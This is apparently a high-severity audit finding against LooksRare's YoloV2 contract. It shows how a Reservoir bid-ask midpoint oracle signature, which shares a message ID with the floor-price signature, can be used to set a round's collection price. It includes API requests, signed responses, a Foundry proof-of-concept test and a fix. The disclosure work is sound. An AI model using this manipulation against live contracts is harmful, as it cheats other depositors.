Mysterious Seafoam Huskie

high

# Reservoir collection bid-ask midpoint price can be set as floor price in a round

## Summary
Reservoir collection bid-ask midpoint price can be set as floor price in a round, because they may have the same Oracle Message ID.

## Vulnerability Detail
When user [deposits](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L1033) ERC721 collection items into a round, if the collection price for the current round is not set, the price is decoded from the Reservoir oracle payload:
```solidity
                    if (price == 0) {
                        price = _getReservoirPrice(singleDeposit);
                        prices[tokenAddress][roundId] = price;
                    }
```
Protocol first verifies the signature and its freshness before accepting the price:
```solidity
    function _verifyReservoirSignature(address collection, ReservoirOracleFloorPrice calldata floorPrice) private view {
        if (block.timestamp > floorPrice.timestamp + uint256(signatureValidityPeriod)) {
            revert SignatureExpired();
        }

        bytes32 expectedMessageId = keccak256(
            abi.encode(RESERVOIR_ORACLE_ID_TYPEHASH, uint8(1), TWAP_DURATION, collection, false)
        );

        if (expectedMessageId != floorPrice.id) {
            revert MessageIdInvalid();
        }

        bytes32 messageHash = keccak256(
            abi.encodePacked(
                "\x19Ethereum Signed Message:\n32",
                keccak256(
                    abi.encode(
                        RESERVOIR_ORACLE_MESSAGE_TYPEHASH,
                        expectedMessageId,
                        keccak256(floorPrice.payload),
                        floorPrice.timestamp,
                        block.chainid
                    )
                )
            )
        );

        SignatureCheckerMemory.verify(messageHash, reservoirOracle, floorPrice.signature);
    }
```
The collection's 1 hour TWAP floor price is retrieved from [Reservoir](https://docs.reservoir.tools/reference/getoraclecollectionsflooraskv6), the signature is signed by Reservoir's off-chain oracle. The fields to be verified are `Kind(spot/twap/lower/upper)`, `currency`, `twapSeconds` and `collection`.

The problem is that Reservoir also provides [Collection bid-ask midpoint](https://docs.reservoir.tools/reference/getoraclecollectionsbidaskmidpointv1), and the Oracle Message ID can be the same as Collection floor price, this means the collection floor price in a round can be set to bid-ask midpoint price, this can cause major problem to the protocol.

Below are the collection **bid-ask midpoint** signature and **collection floor** signature retrieved from Reservoir, as we can see they share the same `id` but the price is different:

> Collection bid-ask midpoint

```curl
curl --request GET \
     --url 'https://api.reservoir.tools/oracle/collections/bid-ask-midpoint/v1?kind=twap&twapSeconds=3600&collection=0xBd3531dA5CF5857e7CfAA92426877b022e612cf8' \
     --header 'accept: */*' \
     --header 'x-api-key: demo-api-key'
```

```json
{
    "price": 17.84102,
    "message": {
        "id": "0x15530ce04dad67f6b6e8213c7e5552bc046bb3c404fe4b338dca757a684c684c",
        "payload": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f7980b93b0844a72",
        "timestamp": 1706085059,
        "chainId": "1",
        "signature": "0x2efc79412203308fd46821b633eb57bdab64c4f55208f414a5af9dfd9019581f79ef3c8f0e6003678e2710f45b42cc2d9928ecf6928d658fc30db24a24d7e3121b"
    }
}
```

> Collection floor

```curl
curl --request GET \
     --url 'https://api.reservoir.tools/oracle/collections/floor-ask/v6?kind=twap&twapSeconds=3600&collection=0xBd3531dA5CF5857e7CfAA92426877b022e612cf8&useNonFlaggedFloorAsk=false' \
     --header 'accept: */*' \
     --header 'x-api-key: demo-api-key'
```
```json
{
    "price": 17.9721,
    "message": {
        "id": "0x15530ce04dad67f6b6e8213c7e5552bc046bb3c404fe4b338dca757a684c684c",
        "payload": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f969b5f726cbbdc7",
        "timestamp": 1706085059,
        "chainId": "1",
        "signature": "0x119df78d9ad0446b186db2a1cb7311d44be8fe921af747a3558fb1430ab4e7235102c06a4930f681e676f8e9f004187317b0cf840e5ca5bc2a0a421a989ca4671c"
    },
    "data": "0x000000000000000000000000000000000000000000000000000000000000002015530ce04dad67f6b6e8213c7e5552bc046bb3c404fe4b338dca757a684c684c00000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000065b0cac300000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f969b5f726cbbdc70000000000000000000000000000000000000000000000000000000000000041119df78d9ad0446b186db2a1cb7311d44be8fe921af747a3558fb1430ab4e7235102c06a4930f681e676f8e9f004187317b0cf840e5ca5bc2a0a421a989ca4671c00000000000000000000000000000000000000000000000000000000000000"
}
```

To verify, please run the test in [Yolo.deposit.t.sol](https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/test/foundry/Yolo.deposit.t.sol):
```solidity
    function test_audit_deposit_ERC721_with_bid_ask_midpoint() public {
        vm.warp(1706085059 + 1);

        uint256 tokenIdOne = 1018;
        address penguOwner = IERC721(PUDGY_PENGUINS).ownerOf(tokenIdOne);

        IYoloV2.DepositCalldata[] memory depositsCalldata = new IYoloV2.DepositCalldata[](1);

        depositsCalldata[0].tokenType = IYoloV2.YoloV2__TokenType.ERC721;
        depositsCalldata[0].tokenAddress = PUDGY_PENGUINS;
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = tokenIdOne;

        // Set reservoirOracleFloorPrice to collection bid-ask midpoint price
        depositsCalldata[0].tokenIdsOrAmounts = tokenIds;
        depositsCalldata[0].reservoirOracleFloorPrice = _reservoirPudgyPenguinsFloorPrice("/test/foundry/pudgy-penguins-bid-ask-midpoint-price-1706085059.json");

        _grantApprovalsToTransferManager(penguOwner);

        vm.startPrank(penguOwner);
        IERC721(PUDGY_PENGUINS).setApprovalForAll(address(transferManager), true);

        yolo.deposit(1, depositsCalldata);

        vm.stopPrank();

        // round collection price is set 17.84102 (bid-ask midpoint price) instead of 17.9721 (floor price)
        uint256 price = yolo.prices(PUDGY_PENGUINS, 1);
        assertEq(price, 17841022652777777778);
    }
```

```solidity
    function _reservoirPudgyPenguinsFloorPrice(string memory path)
        internal
        view
        returns (IYoloV2.ReservoirOracleFloorPrice memory floorPrice)
    {
        floorPrice = _decodeReservoirFloorPrice(path);
    }
```

## Impact
- If collection bid-ask midpoint price is lower than floor price, a malicious user can deposit 1 collection item to set the round collection price lower than it should be, then deposit different collection items or ETH/ERC20 tokens, to have more advantages over the collection depositors;

- If collection bid-ask midpoint price is higher than floor price, a malicious user can set the round collection price higher than it should be, to have more advantages over different collection/ETH/ERC20 depositors.

## Code Snippet
https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L1600

## Tool used
Manual Review

## Recommendation
An immediately fix is to set the `useNonFlaggedFloorAsk` to **true**, to distinguish floor price's Oracle Message ID different from bid-ask midpoint's:
```diff
        bytes32 expectedMessageId = keccak256(
-          abi.encode(RESERVOIR_ORACLE_ID_TYPEHASH, uint8(1), TWAP_DURATION, collection, false)
+          abi.encode(RESERVOIR_ORACLE_ID_TYPEHASH, uint8(1), TWAP_DURATION, collection, true)
        );
```